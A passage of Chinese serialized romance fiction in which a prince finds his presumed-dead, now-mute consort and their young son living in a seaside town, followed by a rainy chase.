顾砚舟摇摇头:“我浑身都是泥,会弄脏殿下的马车。我自己回去。”
车中传来祝时瑾的声音:“这里回王府要走二十里路。”
这是他们大半个月以来第一次讲话。
几乎,只是在那声音响起的一瞬间,顾砚舟的眼眶就湿了。
还好下着雨,他想。
今天已经够丢人了,不想再丢人了。
于是他轻声说:“那就不回去了吧。”
他转身慢慢往前走,心里茫然地想,不回王府的话,要回哪里呢?先前他在宜州租有一间小院,可嫁进王府之后已经退租了,如果要再租,打扫院子、购置家具、添置下人,又是一笔开销,手里的积蓄却已经花了大半……
雨越下越大了,他没有撑伞,连眼睛都被雨点打得睁不开,经过一个小坑时,被绊得一个趔趄。
一人扶住了他。
“上车。”祝时瑾低声说。
顾砚舟微弱地抵抗,但祝时瑾握住他的手腕,温和而强硬,直到上了车,也没有松开。
顾砚舟坐在角落,低着头不说话,发梢滴滴答答掉落水珠,在他脚边聚成一滩,映照出他现在狼狈可笑的样子,他抿了抿嘴,用力把手往回抽。
“继续送燕窝罢。”祝时瑾很忽然地说,“你的钱箱很久没用过了。”
顾砚舟一顿,片刻,眼眶涌
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起了酸热,他抬起头来,问:“为什么?”
他知道自己现在这样很狼狈,可还是那样狼狈地湿着眼睛看着殿下:“明明送给你,你也从来不吃,都让我自己吃了,为什么还要让我送?”
祝时瑾迎着他的目光,片刻,伸手揉了揉他的脑袋:“受委屈了。”
顾砚舟的眼泪一下子掉了下来。
他不是要听殿下说这些的,他是要离开殿下,因为他变得好奇怪,只要待在殿下身边,就很容易高兴,也很容易难过。
他不想再这样奇怪下去了,他想做回原来的顾砚舟,只要过简单平淡的日子,就会很幸福。
而不是像现在这样,要殿下看他才会开心,要殿下和他说话才会高兴,而且越来越贪心,越来越想要离殿下更近。
殿下不要他,他的世界就塌了。
可明明殿下本来就不打算要他。
让他早点从这个梦里醒来吧。
“好了,不哭了。”祝时瑾拿干净的布巾给他擦脸擦头发,把他的头发擦得乱蓬蓬好像一个毛桃子,“把自己弄得这么脏。”
殿下越是对他好,他的眼泪越是掉得厉害,一边哭,还一边打起了喷嚏,祝时瑾只能叫车夫加快速度,赶回王府去,把他带到后山的温泉里泡澡,泡出一身大汗,洗得干干净净,又让下人煎了药给他吃。
顾砚舟再次躺在了王府的奢华院落里雕花大床的锦缎被褥中,喝了药的脑子昏昏沉沉的,努力去想自己怎么又跟着殿下回来了。
大丫鬟昭月给他熏了安神香,正要退下,忽听他说:“我的钱箱呢?”
昭月不明所以,但还是把钱箱抱来给他看,里头还是三千两,不多不少。
“为什么这里头的钱总也花不完?”
昭月笑了:“您没发现?奴婢以为您早该知道了。是殿下给您补上的,殿下吩咐奴婢,您用多少,就给您补多少,去他账上支就行。”
顾砚舟忽然觉得他先前攒着花好没道理,殿下给他的钱箱放三千两,原来是单次花销的限额,而不是零花钱的总额。
他又觉得自己有点儿不识好歹了,在王府这么待着多好?离开了殿下,还有谁会这么养着他呢?
夜里他睡得迷迷糊糊,察觉有人上床来躺在旁边,他哼哼一声,那人就问:“醒了?”
顾砚舟翻个身抱住他的腰。
“……又撒娇。”祝时瑾揉揉他的脑袋,“有什么想要的?”
什么撒娇?他也没什么想要的啊。
顾砚舟埋在他怀里,拿手拨弄他颈间的一枚翡翠平安扣。
“要这个?”
顾砚舟连忙收回手,他可不是要这个,殿下天天戴着的玉佩,很贵重的吧。
可是祝时瑾真的将玉佩戴在了他脖子上,漫不经心的,像给一条小狗系上项圈。
“戴着罢,省得下次再被人欺负。”
这枚翡翠平安扣,现在就静静躺在他手掌中。
只是已碎了,只剩半边了。
哑巴静静在月色中看着它,眼眶又有点儿酸热了。
这么多年,我好像一点长进也没有,殿下。
5. 1.你姓祝
炎炎夏季,滨海小镇的日头毒辣,晒得人眼睛都睁不开。镇上唯一一座二层楼高的客栈里,刘掌柜正捧着笑脸:“爷是问南叶紫檀?哎哟,这东西倒少见,爷来得不巧,上一回商队带回来的紫檀,全都卖光了。爷要不要看点别的好料?小老儿这儿还有花梨木、老红木……”
一身劲装的高大乾君不苟言笑,扶着腰间长刀,冷声道:“我们爷只要南叶紫檀,沉水万年不腐,能引亡魂转生的那个南叶紫檀。”
刘掌柜为难道:“可是您要那么大一株,这很少见呀,小点儿的行不行?”
“不行。我们爷买来是塑像用的。”
传说中,南叶紫檀塑像投入海中,能引沉入海底的亡魂转生,再续前缘,刘掌柜心里有了计较,笑道:“那价钱上……”
屏风后,那位影影绰绰看不清模样的贵客开口了。
“只管替我寻来,价钱不论。”
这声音冷而磁性,好听极了。
刘掌柜挠挠耳朵:“那小老儿尽力帮您找找。您确定要么?”
话没说完,高大乾君掏出一张一百两的银票,拍在了桌上:“这是定金。”
——是个大财主!
刘掌柜登时满眼放光:“好说好说!小老儿一定替您寻来!正好下个月有商船回来,是我们这儿最厉害的船队,小老儿和他们的老大关系最铁,每次都是第一个挑货,哪怕这次他们回来没有带南叶紫檀,那下次出海托他们去找,一定能找到!”
他乐颠颠地退下了。屏风后,那位贵客终于起身,走到了窗边,微咸的海风迎面吹拂,轻轻吹起他的发丝,只一个冷淡的侧脸,也优美绝伦。
昭文给他续上了茶,道:“殿下,这里已经是交易南叶紫檀的最后一个港口,要在这里等么?”
殿下望着窗外,一言不发。
从客栈二楼看出去,这座海滨小城低矮的民房屋舍一览无余,灰扑扑的土墙,屋顶晾着的渔网,往来百姓穿着短打踏着草鞋说着浓重的乡音,连座像样的院子都没有,这间二层的客栈就是这儿最豪华的建筑了。
这几年昭文每年都要护送殿下去顾砚舟的老家走走,这里和顾砚舟的老家就很像,也许海滨小城都是这样。
昭文觉得没什么好看的,只能收回视线,又看了殿下一眼,忽而发现殿下的目光没有落在那些屋舍上,而是落在一个角落。
那是正在嬉戏的几名小童——或者说,是几名小童正在欺负其中一个。
“大家都有娘,怎么就你没娘啊,你娘跟人跑啦,哈哈哈!”
“你娘肯定是个不安分的狐狸精,才生出个小狐狸精!”
那个被欺负的小娃娃并不好惹,声音最大,打人最厉害,小小的一个,和比自己大上几岁的小孩打成一团,浑身滚得脏兮兮,不经意抬起头来,露出一张漂亮得过分的小脸蛋儿。
像落在尘埃中的一颗明珠,光华四射。
昭文心头一震,那瞬间简直脱口而出:“大公子……”
这是个坤君小娃娃,长得和大公子小时候简直一模一样!
而大公子是殿下的亲哥哥,长得像大公子,其实就是……
他忍不住拿眼睛瞟世子殿下,如果不是这些年一直跟着殿下,他简直要以为殿下在这儿有个私生子了。
祝时瑾的目光落在那小娃娃身上,很久很久。
“他长得像哥哥么?”
昭文头皮发麻,不敢回答。
长得像大公子,不就是长得像您么?
大公子是坤君,自己从肚子里生出来的娃娃自己心里有数,这个长相极其肖似的小娃娃,要是也只能是殿下的种。
可是殿下的亲生儿子已经和世子妃一块儿葬身海底了。
这是王府所有人都不敢提的禁忌。
昭文冷汗都下来了,勉强道:“也许世上真有这么巧的事,毫不相干的人也会长得相似。”
殿下又沉默了。
昭文连头都不敢抬。
这几年殿下的脾气变幻莫测,喜怒无常,不知多少下人说错一句话就掉了脑袋,连他这个跟了殿下十几年的老资历亲卫,也忍不住常常心中打鼓。
半晌,祝时瑾的声音再次响起。
“如果我和砚舟的孩子能生下来,平安长大,会不会就是这个模样?”
昭文的冷汗唰的流下来,扑通一声跪在了地上:“殿下,属下失言!这、这孩子并不像大公子,是属下看走眼了!”
祝时瑾的目光淡淡扫了他一眼。
昭文简直毛骨悚然,就在这时,底下打成一团的战况似乎分出了高下,看上去估摸才三岁的“大公子”究竟不敌几个四五岁的大孩子,被打倒在地,几个大孩子围着他踢他打他。
殿下立刻看了过去,昭文那一瞬间脑筋急转,立刻道:“属下马上救人。”
楼下,那小娃娃正奋力大叫着反击,可是压着他打的大孩子太多了,一时反抗不过,他肚子上被踢了几脚,一边哭一边放狠话:“等我爹爹回来揍死你们!”
另两个大孩子一听,一个去抓他的头发,一个去揍他的脸,眼看那张漂亮脸蛋要被抓花了,两人忽而感觉后领一股大力,被凭空拎了起来,一下子被丢出去老远。
“谁?!”小孩们大叫,爬起来一看,是个牛高马大、劲瘦有力的乾君,腰上佩着比他们人还要高的长刀。
几个孩子哪见过这等阵仗,登时噤声,嗖的一下跑没了影。
摔倒在地浑身挂彩的小娃娃发着愣,但只是片刻,他意识到带刀的要么是坏人要么是官老爷,爹爹说碰到这些人要赶紧跑,便立刻自己爬了起来,掉头就跑。
但刚一转头,就撞在了迎面走来的一人身上,他叫了一声“哎哟”,一屁股摔坐在地。
来人顿了顿,在他跟前站定,半蹲下来和他对视。
锦衣华服,头戴金冠,凤目狭长,俊美逼人。
小娃娃这个年纪已经识得美丑,也能认出穿衣打扮的贵贱,登时底气就不足了,但还是虚张声势,装作很凶地叫:“你是谁?”
祝时瑾微微一笑,从袖中抽出一方丝帕,给他擦了擦沾了灰的小脸蛋儿:“你叫什么名字?”
这个柔和的语气,旁边的昭文重重松了一口气,这才有心思仔细去看这个保了他一命的小娃娃——浑身滚得脏兮兮,头发抓乱了,白白净净的小脸蛋儿也沾了灰,但那双眼睛真是太像了,狭长而眼角微挑的凤目,简直和殿下一模一样。
小娃娃警惕道:“我不随便和陌生人说话。”
祝时瑾顿了顿。
昭文立
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刻去旁边铺子里买了一大堆果子、糕点、糖面,琳琅满目,装在食盒里,小娃娃的眼睛立刻转不动了,食盒挪到左边,他的视线就跟到左边,食盒挪到右边,他的视线就跟到右边。
祝时瑾笑了:“想吃哪个?”
小娃娃瞅着他,期期艾艾地,伸手指了一个荷花果子。
祝时瑾从昭文捧着的食盒里挑了那个荷花果子,递给他,他立刻拿脏兮兮的小手来抓,被那胖嘟嘟的小手碰到掌心的一瞬间,祝时瑾面色变得极其微妙,整个人都顿住了。
昭文担心殿下受不了这娃娃的小脏手,忙呵斥:“别碰!”
小娃娃吓了一跳,立刻把手往回缩,就在那小胖手要抽出去时,祝时瑾猛地收拢五指,抓住了那只胖乎乎的小手。
荷花果子掉在了地上,小娃娃也被他吓傻了,挣扎着想往后退:“我、我不吃了。”
这个人好可怕!瞪着他眼睛都瞪红了!
祝时瑾怔怔地、紧紧地盯着他,不知到底是盯着他,还是想透过他看其他的什么人,抓着他的手怎么也不松,直到小娃娃吓得哇的一声哭出来。
“爹爹——”
这一声出来,那手像被重重一击,骤然松开了。
昭文连忙扶住趔趄了一下的世子殿下:“殿下,您、您没事罢?”
被吓哭的小娃娃却很机灵,一见他松手,掉头就跑!
昭文哪敢叫他跑了,立刻下令:“抓住他!”
小娃娃跑了没两步,就被一把揪住后衣领,牛高马大的侍卫像拎小鸡崽儿一样把他拎了起来,只剩小手小脚在半空扑腾。
“别这样拎着他。”祝时瑾的声音在后响起,冷冷的,“把他给我。”
侍卫忙改为两手端住孩子腋下,把小孩儿交到了殿下怀里。
小小的一个,抱在怀里像一片云,小脸蛋儿上还挂着几滴眼泪,委屈巴巴地求饶:“求求你,放我走,对不起。”
“吓到你了?抱歉。”祝时瑾戴着红玛瑙扳指的拇指轻轻拭去他小脸蛋儿上的泪,抱着他,重新从食盒里挑了一个荷花果子,“吃罢。”
小娃娃看看他,又看看果子,不知道自己是不是吃了这个果子就要死在这里了。
但是、但是,反正他也逃不过,还不如先吃了!
他一伸手,抓住那个荷花果子,塞进了嘴里,大大咬了一口。
好吃!
他正要把果子整个囫囵塞进嘴里,手却突然被轻轻捉住,祝时瑾叫人拿来了湿帕子,一点一点给他擦干净了脏兮兮的小手。
“要洗干净手再吃东西。”
小娃娃叼着荷花果子,滴溜溜的黑眼珠瞅着他。
祝时瑾微微一笑,捏了捏他肉鼓鼓的脸蛋儿。
“还想吃哪个?”
还能再吃?小娃娃双眼放光,又指了食盒里的糖面小人儿。
祝时瑾把糖面人儿给他,他嘿嘿一笑,左右开弓吃得小嘴鼓鼓的,这才听见这人问他:“现在可以告诉我你叫什么名字了么?”
“我叫果儿。”小娃娃声音清亮。
“就叫果儿?没有姓?”
果儿一边把糖面往嘴里塞,一边天真地看着他:“姓是什么?”
祝时瑾顿了顿,道:“那从今天开始,你姓祝。”
6. 2.大主顾
果儿听不懂,但是旁边的昭文听懂了,倒吸一口凉气。
殿下要收这小娃娃为养子!
居然叫他最开始的那句话说中了,这个小娃娃,以后就是下一个大公子了。
祝时瑾抱着果儿往客栈走:“去通知他的亲生父母,他们要什么,就给什么。”
“是。”
这句果儿听懂了,说:“你要找我爹爹吗?他出海了,不在家。”
祝时瑾拿指节刮刮他的脸蛋儿:“好。那等他回来再说。不过,你以后要改口叫我爹爹。”
果儿愣住了:“为什么?”
祝时瑾没有正面回答,只看着他:“不好吗?这样你多了一个爹爹,多一个人疼爱你。”
果儿虽然还很小,但也意识到这是一件大事,直摇脑袋:“不行不行,我只有一个爹爹。”
祝时瑾顿了顿,抱着他往外走,外头街上摆着好几个货摊,其中一个就是卖小孩儿玩具的。
“刚刚你们打架之前,你在这儿看了很久。”祝时瑾道,“在看哪一个?”
果儿瞅着他,不明所以,伸手一指货架上挂着的一个皮面缝制的精美风火轮:“在看这个。我每天都来看,等爹爹回来了,我就求他给我买。”
巴掌大的风火轮,正好供孩子们在地上踢来踢去地玩儿,算不上多贵,几两银子一个,但比起几文钱的竹编球来,自然要贵得多。
果儿身上的衣裳只是简单朴素的靛蓝布衣,没有补丁,家里应当过得凑合,但也不会有多富裕,所以他自己的零花钱是不够买这个风火轮的。
祝时瑾单手抱着果儿,另一手从摊上拿起了那个皮面风火轮:“它是你的了。”
果儿两眼放光,但是克制住了,没有立刻去拿小皮球:“你、你给我买?”
“只要你想要的,爹爹都会给你买。”祝时瑾温和道,“好不好?”
果儿看看他,又看看小皮球。
又看看他,再看看小皮球。
出乎意料,他小声说:“我、我还是要我自己的爹爹。”
祝时瑾并未咄咄逼人,他把风火轮递给果儿:“慢慢来。拿着吧,这是爹爹送给你的第一件礼物。”
果儿期期艾艾的,伸出小手抱住了风火轮,犹豫片刻,凑上来给了他一个湿漉漉的、小宝宝的亲亲:“谢谢叔叔!”
祝时瑾一怔。
昭文一边掏出钱袋来准备付钱,一边偷偷瞅殿下的脸色。
殿下到底是殿下,很快就从这个湿漉漉的亲亲里反应过来。
然后,他大手一挥,把整个小摊的玩具全买了下来。
果儿度过了极其阔气的半个月。
那个不知道从哪儿来的有钱叔叔就住在城中最大的那家客栈,果儿每天两眼一睁,让李婆婆帮忙洗了脸换了衣裳,就跑去找有钱叔叔,有钱叔叔会把他抱起来,问他昨晚睡得好不好,然后带着他一起吃特别丰盛的早饭。
他问有钱叔叔:“你为什么这么有钱呀?”
有钱叔叔不回答,只是问他:“那你要不要跟爹爹走?”
果儿立刻摇头。
虽然这个叔叔很有钱,而他的爹爹没什么钱,但他还是要和爹爹在一起。
“为什么不愿意?跟爹爹走,你会有吃不完的好吃的,玩不完的新奇玩具。”
果儿还太小了,说不上来,只是一个劲摇脑袋:“我要爹爹,我要爹爹。”
每当他说“爹爹”这个词的时候,有钱叔叔的目光似乎尤为黯淡。
果儿从他怀里跳下来,在屋里把那个皮面风火轮踢来踢去:“你为什么要我当你的儿子呢?你自己没有儿子吗?”
满屋子的下人倒吸一口凉气,屋里一片死寂,没有一个人敢开口,只有果儿踢着皮球咯咯的笑声。
许久许久,果儿才听到有钱叔叔回答:“我的儿子死了。”
果儿一愣,抬起小脑袋,看见有钱叔叔的脸色很苍白,连忙跑过去,两只小手抓住他的手:“对不起,你不要哭。”
有钱叔叔垂眸看着他:“我不会哭的。”
但是有钱叔叔的眼睛都红了,果儿被他吓到,连连说:“你不要哭,你不要哭,对不起。”
有钱叔叔把他抱起来搂在怀里,果儿好像终于明白了什么,小声说:“你对我这么好,是因为我长得像你的儿子吗?”
有钱叔叔没有说话,大手摸摸他的小脑袋,果儿肉嘟嘟的脸蛋儿皱成一团,为难地说:“可是我已经有爹爹了呀,我不能当你的儿子。”
“等你父亲回来之后,我会登门拜访,和他谈这件事。”
谈什么?果儿不知道,但是果儿很兴奋地挥舞小手:“爹爹很快就回来啦,李婆婆说就是这个月!”
等爹爹回来,他要爹爹教他功夫,把老是欺负他的铁柱他们全打趴下!
仲夏的海边天气变幻莫测,连着晴了大半个月,这两日却突然开始狂风大作,骤雨倾盆,人走在街上都能被风刮着跑,十分危险,果儿没法出去玩,在家闷了两天,到第三日时,正恹恹地独自在屋里踢皮球,门口忽而传来声响,他跑出去一看,惊喜道:“爹爹!”
茫茫雨幕中,跨进院门的高大男子戴着斗笠披着蓑衣,斗笠下是一张麦色的英俊脸庞,脖子上缠着一圈圈的靛蓝细布,将整段脖颈遮得严严实实。
他看见果儿,微微一笑,合上院门脱去蓑衣,外衣领口露出些许缠着的白纱布,像是受了伤,但他还是走过来将果儿抱了起来。
果儿高兴地张开两只小手搂住他的脖子,像条毛毛虫在他怀里扭来扭去地撒娇:“爹爹我好想你!你下次带我一起出海吧!”
哑巴笑了笑,摇摇头,用手势比划。
[果儿太小了,还不能出海。]
果儿说:“我马上就四岁啦!”
说着,他又想到什么,从爹爹怀里扭下来,跑去屋里捡起了那个皮面风火轮:“爹爹你看。”
哑巴跟着走进屋里,看见这个精美的小皮球,微微一愣。
这小玩意儿是牛皮做的,可不便宜,果儿哪儿来的钱买这个?
“这是一个有钱叔叔送给我的。”果儿高兴地和爹爹分享,“他每天给我买好吃的,给我买了好多玩具。”
哑巴半蹲下来,和他平视,同他打手语。
[爹爹说过,不能白拿别人的东西。]
果儿抱着小皮球撇撇嘴:“本来我想等爹爹回来给我买,但是我太想要这个了……”
哑巴继续打手语:[爹爹会把钱付给
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那个叔叔。]
果儿瞅着他:“有钱叔叔说,要我认他当爹爹,要我跟他走,我不想走,我也不想认他当爹爹,本来、本来我也不想拿这些东西的,可是有钱叔叔很可怜,他的儿子死了,说我长得很像他的儿子。”
哑巴坚定地摇了摇头:[果儿,我们不能占这种便宜。]
“不是占便宜,我、我,我是真的觉得有钱叔叔很可怜。”果儿飞快转动小脑瓜,猛地想起有钱叔叔的叮嘱,“对了,有钱叔叔说,他叫世子殿下,说你一听就会答应的!”
话音刚落,他看见爹爹的脸色唰的一下变得惨白。
“……爹爹?”
爹爹只怔愣片刻,就迅速起身找来包袱皮,开始收拾金银细软。
果儿傻了眼:“爹爹?”
爹爹向他打手语:[果儿,我们要马上离开这里,你去收拾你的玩具。]
果儿惊呆了,费解地拿胖嘟嘟的小手挠脸蛋儿:“为什么、为什么要走?”
爹爹不说话,只是给他拿来他的小蓑衣和小斗笠,给他穿戴上,果儿小小的一个,穿上蓑衣和斗笠像个稻草人娃娃,爹爹在屋里走来走去地收拾,他就跟在爹爹背后叭叭叭问个不停:“为什么?为什么要走?”
爹爹最终也没有回答他,只是把包袱背上,重新穿好蓑衣。
[果儿,你还有东西要拿么?我们走了。]
果儿撇撇嘴,皱着小脸,很不情愿地嘀咕:“我的玩具……”
[乖。]爹爹给他打手语,[去拿一个最喜欢的玩具,我们这就出发。]
果儿只好墩墩墩跑去捡起了踢到角落里的皮球,两只小短手把皮球抱在怀里。
就在这时,电闪雷鸣的暴雨声中,忽然传来急促的拍门声。
这拍门声仿佛戳中了哑巴紧绷的神经,他猛地跳了起来,劲瘦的后背绷到极致,一把抄起果儿就往后窗冲。
“哑巴!哑巴你在家吗?!有大主顾要买你的货!”和拍门声一道响起的,是货铺伙计的喊声。
正要翻窗的哑巴猛然一顿,被他抄在怀里的果儿还没反应过来,呆呆地喊他:“爹爹?”
哑巴顿了顿,收回踏在窗棂上的脚,把果儿放下来。
[爹爹出去把东西卖了,多换些钱,你在家里收拾玩具,哪里都不要去。]
果儿被他一惊一乍弄得还没反应过来,呆呆地点了点头。
哑巴披上蓑衣戴起斗笠,走入茫茫雨幕之中。
院门打开,伙计见他出来,忙道:“快快!大生意,你这次运回来的那株南叶紫檀,这位贵客出五千两!”
五千两。
哑巴目光中燃起了光亮。有了这笔钱,就能离开这里,去更远的地方,不用再为三两六钱银子发愁,可以送果儿进私塾念书,过上衣食无忧的日子……
他到码头的货舱叫上船员把南叶紫檀扛下来,到了货铺,掌柜早就等在门口了,远远看见他们一行人过来,连忙喊着:“爷、爷,您要的南叶紫檀来了。”
哑巴带着人匆匆往那边走,倾盆大雨之中,一道冷淡又磁性的声音清晰地越过雨声,敲在他耳畔。
“昭文,验货。”
那一瞬间,哑巴像被闷雷劈中,整个身子都僵直了。
7. 3.找到你了
是他。
是他……
哑巴的大脑一片空白,唯有这道熟悉的声音久久回响。
昭文带着人从雅间出来,就见几名壮硕的船员戴着斗笠披着蓑衣扛着一大棵南叶紫檀进来,吭哧吭哧将檀木小心地卸在了铺子正中。
他命人验货,正仔细打量这棵南叶紫檀时,耳朵忽而敏锐地动了动。
哒,哒。
不同寻常的脚步声。
昭文抬起头,看向刚刚走进铺子的人,是个高大挺拔的青年,披着蓑衣,斗笠遮住了上半张脸,下半张脸蒙着靛蓝色的细布,一直缠到脖子,遮得严严实实,看不清面容。
昭文眯了眯眼。
气息内收,丝毫不露,下盘极稳,步履有力,这是个绝顶高手。
他打量着这人的时候,此人却略低了低头,斗笠完全遮住了面庞,像是回避他的视线。
高手之间,这样的回避便是表明无意起冲突,昭文再看下去就显得失礼了,他收回视线,询问手下:“如何?”
“的确是南叶紫檀,树龄足有千年。”
昭文点点头,进屋去了。
哑巴轻轻松了一口气。
刘掌柜在旁高兴得直搓手,把他拉到一边小声商量:“哎呀哎呀,这回可要赚大发了!哑巴,这回我给你拉来这么大一单,你怎么也得多分我一点儿,原先才分我一成,太少了,分我二成怎么样?我帮你谈个高价。”
哑巴胡乱点点头。
就在这时,雅间的屋门被人推开,昭文的声音传来:“爷,南叶紫檀在此,请您过目。”
那一瞬间,哑巴的呼吸都停滞了。
咚咚,咚咚。
心跳声震耳欲聋,他整个人都像定在了原地,僵硬得无法动弹,连抬起头往那边看一眼都做不到。
他的眼睛只直直地盯着地面,直到视线中出现一双皂靴。
“……应当够塑一尊等身像了。”
熟悉的声音,这个他想尽办法逃避,却又日思夜想的人,就近在眼前。
哑巴鼻子一酸,眼眶就热了。
殿下。
他在心里默默地,像以前那样地,轻轻唤了一声。
像是听到了这一声呼唤,祝时瑾忽而转头看过来。
哑巴的身子瞬间绷紧了。
他、他认出来了?
他不知道那一刻自己是期待更多还是害怕更多,只知道心跳得快要冲出喉咙——
“开个价。”
他在对他说话。
震天的心跳声几乎让哑巴脑中一片空白,他居然真的下意识尝试开口,可是无力的喉咙只是徒劳地震颤了一下。
“爷,爷,他是船队首领,不跟客人直接交易,我来帮您问价。”刘掌柜在旁开口,像个重重的巴掌扇在脸上,一瞬间把他从梦境扇回了现实。
他哑了,说不了话了。
就算站在世子殿下面前,他都无法开口再叫一声殿下了。
口不能言,算是半残废,连活计都很难找。从前身体健全的时候,尚且不配站在殿下身边,更何况现在这副落魄的残废之躯?
他把脑袋更加埋下去,用斗笠深深遮住自己的脸,遮住自己这丑陋的模样,遮住自己淌着血的、卑微的心。
刘掌柜拿衣袖挡住,同他打手语,他勉强比划了几下,刘掌柜就笑着说:“他开七千两,爷,您看如何?”
哑巴没有加价,报的是五千两,听到刘掌柜张口就报七千两,不由愣了愣,看了刘掌柜一眼。
就在他转头的一瞬间,世子殿下的目光扫了过来。
哑巴立刻把头埋下去,不动了。
祝时瑾的目光却依然落在他身上。
无人做声,气氛有些微妙,刘掌柜见贵客不说话,有点儿忐忑,忙道:“爷,七千两买这么大一株南叶紫檀,您可算买着了!这南叶紫檀啊,有时候开出天价都买不着……”
祝时瑾收回目光,揉了揉眉心:“……就七千两。”
昭文拿出银票,和刘掌柜签下买卖文书,掌柜乐颠颠点着银票,把哑巴拉去后院商量,哑巴低着头快步走过,擦身而过时,殿下似乎又看了他一眼。
他心里打着鼓,脚步飞快,跨进了后院。
“……殿下,殿下?”
昭文唤了好几声,祝时瑾才回过神来,昭文忙道:“南叶紫檀已经装上车了,是不是现在运往宜州?还有,刚刚蹲守的暗卫来报,小公子的亲生父亲也回来了,咱们要不要现在登门拜访,然后带上小公子动身回宜州?”
祝时瑾一言不发。
昭文瞅着他,不知道自己这提议有哪里不妥,心里不免打起鼓来。
后院,刘掌柜把哑巴拉到一边,一张一张细细核验了银票,才说:“这回我可帮你赚了大钱了,分我二千两,不过分罢?”
刚刚他说的还是二成,二成就是一千四百两,短短片刻,竟又涨了几百两。
哑巴皱了皱眉,正要打手语,刘掌柜的眼神瞟到他后面,忙摆出笑脸:“贵客,您怎么进来了?”
哑巴心中没来由地咯噔一下,没心思掰扯分账的事儿了,瞬间从刘掌柜手中抽走五千两银票,刘掌柜忙攥紧剩下的两千两银票,捧着笑脸同走过来的祝时瑾点头哈腰:“爷,您还有什么吩咐?”
哑巴把银票塞进胸口的内袋,低着头,斗笠把脸挡得严严实实。
他能感觉到殿下的目光直直盯着他,可是殿下认不出来的,他蒙着脸,戴着斗笠,披着蓑衣,这些年他也瘦了黑了,就是他爹娘现在站在面前,也认不出他来。
半晌,祝时瑾道:“这桩买卖该我和他签契。昭文,拿契书来,重新签。”
哑巴的心咚咚狂跳起来。
难道、难道殿下发现了?
他写字奇丑无比,殿下曾经握着他的手教过他,可仍然没有半点长进,不,不,现在不是想这个的时候,他该在契书上签什么名字?
契书递到了他面前,那上面已经写上了端正劲秀的“祝时瑾”三个字,哑巴咽了口唾沫,提起毛笔——
“顾砚舟。”祝时瑾忽而开口,那声音带着不易察觉的颤抖,“握笔又错了。”
那一瞬间,仿佛闷雷炸响,顾砚舟掉头就往外冲!
这短短片刻,本以为早就死在海底的世子妃竟然重现人世,昭文简直惊呆了,眼睁睁看着顾砚舟冲出去,殿下反而比他反应要快些,立刻道:“追!”
昭文反应过来:“是!”
马蹄踏过泥泞的小路,一行带刀侍卫在狂风骤雨中飞快行进,很快赶到小院将院子团团围住,不多时,一驾马车停在了小院门口。
这间小院,正是他们一直派人暗中护卫着的,殿下一眼相中打算收养的孩子果儿住的小院,现在看来,果儿正是顾砚舟坠海时已怀上的,殿下的亲生孩子。
原来一切都是冥冥之中早有注定。
昭文撑起油纸伞,扶祝时瑾下了马车,再去敲院门,不多时,一名婆子出来开了门,被门外这阵仗吓了一跳:“你、你们……”
昭文往院中一看,小小的院子一览无余,除了婆子再无一
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人。
他面色一变:“这家的主人和孩子呢?”
婆子道:“你们来得不巧,他们刚刚走。”
昭文头皮发麻,简直不敢去看殿下的脸色,刚刚找到的世子妃和小公子,居然又不见了……
可是殿下今日的脾气好得出奇,语气竟然还带点儿笑意:“他没那么容易被抓到。封锁全城,挨家挨户找。”
他走进这间妻儿蜗居了好几年的破败小院,见廊下还有仓促中没能带走的孩童玩具,便捡起一只小风车,轻轻一吹。
小风车滴溜溜转起来,光影明灭,投在他上扬的嘴角。
“你还活着。”他轻声道,“找到你了。”
……
天色一点一点暗下来,暴雨如注,街上行人寥寥,一名戴着斗笠披着蓑衣的高大男子抱着个小娃娃在暴雨中疾行,草鞋在青石板上啪嗒啪嗒踩过。
果儿穿着小小的蓑衣,在他怀里小声问:“爹爹,我们要去哪儿?为什么一直在城里打转?”
顾砚舟摸了摸他的小脑袋,目光黯淡。
城门被封锁了,城中也突然多了大批人马在挨家挨户搜寻。
是殿下。
他心中苦笑一声。
殿下为什么还要大费周章来抓他们呢?
他现在只是个连话都说不了的半残,对殿下而言毫无价值,果儿也只是个坤君,无法继承世子之位,殿下来日娶了新世子妃,总会生下小世子的。
为什么还要穷追不舍?
果儿窝在他怀里,看了看天色,小声说:“天都黑了,爹爹,我好饿。”
他们在城中东躲西藏一整天了,午饭和晚饭都没吃,大人可以扛,这么小的孩子却扛不住饿,果儿的肚子已经饿得咕噜咕噜直叫了。
顾砚舟愧疚极了,果儿很听话,饿了也不会哭闹,他没能给果儿衣食无忧的生活,还叫孩子跟着他东躲西藏、忍饥挨饿。
如果跟着殿下,他可以在王府过锦衣玉食的生活……
他闭了闭眼,在心中摇摇头打消这个念头——以后殿下娶了新世子妃,生了其他孩子,果儿又该如何自处?
[爹爹带你去吃肉包子。]
果儿双眼一亮:“好!”
顾砚舟抱着他穿过小巷,避开人群,谨慎而迅速地在熟悉的巷弄中穿梭,很快来到了小巷与大街的交叉处,观察片刻,确认附近并无搜查的侍卫,才走到岔路口旁的一家包子铺。
包子的香味钻进鼻子,果儿兴奋得手舞足蹈,穿着小小的蓑衣戴着小斗笠像个小稻草人,两手接过爹爹递来的一个大肉包子,趴在爹爹肩上,啊呜一声咬了一口。
“好香啊,好好吃。爹爹你也吃。”果儿伸长小手把咬了一口的肉包子递到爹爹嘴边。
顾砚舟微微一笑,躲藏奔逃一整天,肩上的伤有些崩裂,一直隐隐作痛,但他没有表露,装作咬了一口包子,抱着孩子往回走,果儿心满意足,收回肉包子继续吃。
吃得正香,果儿忽而看见一驾熟悉的马车疾驰而来,车窗开着,与他们擦身而过时,窗中一道熟悉的身影。
果儿睁大眼睛:“爹爹快看!”
这一道清亮的童声,让立在街旁和坐在车中的人都一下子转过头来。
猝不及防,四目相对。
一道闪电划过夜色,照亮了彼此魂牵梦绕日思夜想的熟悉脸庞。
两张错愕、仓皇的脸。
果儿顶着歪歪的小斗笠,一只小手抓着肉包,另一只小手指着马车,天真地笑:“爹爹,他就是有钱叔叔!”
8. 4.跟我回去
闷雷炸响,仿佛鼓锤重重敲在心口,那一瞬间不知是痛还是喜,顾砚舟脑中嗡嗡作响,一片空白。
殿下的脸,殿下的眉眼,他以为自己早就忘记了,可当殿下真正出现在他面前时,那些鲜活的回忆一下子呼啸着冲出,和殿下度过的每个日夜都历历在目。
殿下……
马车疾驰而过,下一刻车中传来那道熟悉的、冷而清越的声音:“停车!”
这一声响在耳畔,顾砚舟猛然回神,拔腿就跑!
可下一刻,身后就响起了急促的脚步声,殿下冒雨追了上来!
昭文也在后头急急喊人:“快追!快追!”
